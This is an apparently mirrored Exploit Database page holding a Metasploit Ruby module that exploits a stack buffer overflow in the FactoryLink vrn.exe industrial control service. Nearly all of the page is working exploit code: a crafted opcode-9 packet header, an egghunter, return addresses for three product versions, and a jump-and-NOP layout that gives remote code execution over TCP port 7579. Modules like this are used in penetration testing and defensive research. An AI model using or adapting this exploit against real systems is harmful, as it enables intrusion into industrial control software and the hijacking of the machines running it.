FactoryLink – ‘vrn.exe’ Opcode 9 Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2011-06-21
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17429/

• ##
  # $Id: factorylink_vrn_09.rb 12998 2011-06-21 21:08:57Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'FactoryLink vrn.exe Opcode 9 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,
  				and 8.0.1.703.By sending a specially crafted packet, an attacker may be able to
  				execute arbitrary code due to the improper use of a vsprintf() function while
  				processing the user-supplied text field.Originally found and posted by
  				Luigi Auriemma.
  			},
  			'Author' =>
  				[ 
  					'Luigi Auriemma', # Public exploit
  					'hal' # Metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 12998 $',
  			'References' =>
  				[
  					['OSVDB', '72815'],
  					['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt']
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 885,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'FactoryLink 7.5',{ 'Ret' => 0x1c0106ac, 'padding' => 0 } ],
  					[ 'FactoryLink 7.5 SP2',{ 'Ret' => 0x1c01069c, 'padding' => 0 } ],
  					[ 'FactoryLink 8.0.1.703',{ 'Ret' => 0x1c01087c, 'padding' => 4 } ],
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Mar 21 2011'))
  
  		register_options([Opt::RPORT(7579)], self.class)
  	end
  
  	def exploit
  		connect
  
  		#The use of egghunter seems appropriate due to the small buffer in [ESP+8]
  		hunter = generate_egghunter(payload.encoded, payload_badchars,
  			{ :checksum => true, :startreg => 'ebp'})
  
  		egg = hunter[1]
  
  		header = "\x3f\x3f\x3f\x3f"
  		header <<"\xff\x55"
  		header <<"\x09\x00"
  		header <<"\x3f\x3f\xff\xff\x00\x00\x3f\x3f"
  		header <<"\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f"
  		header <<"\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
  		header <<"\x3f\x3f"
  		header <<"\xff\xff\xff\xff"
  		header <<"\x3f\x3f"
  
  		request =header
  		request << rand_text_alpha_upper(100)
  		request << egg
  		request << rand_text_alpha(target['padding'])
  		request << "\xeb\x06\x90\x90"
  		request << [target.ret].pack('V')
  		request << make_nops(24)
  		request << hunter[0]
  		request << rand_text_alpha_upper(100000)
  
  		print_status("Trying target #{target.name} with #{request.size} bytes")
  		sock.put(request)
  
  		handler
  		disconnect
  	end
  end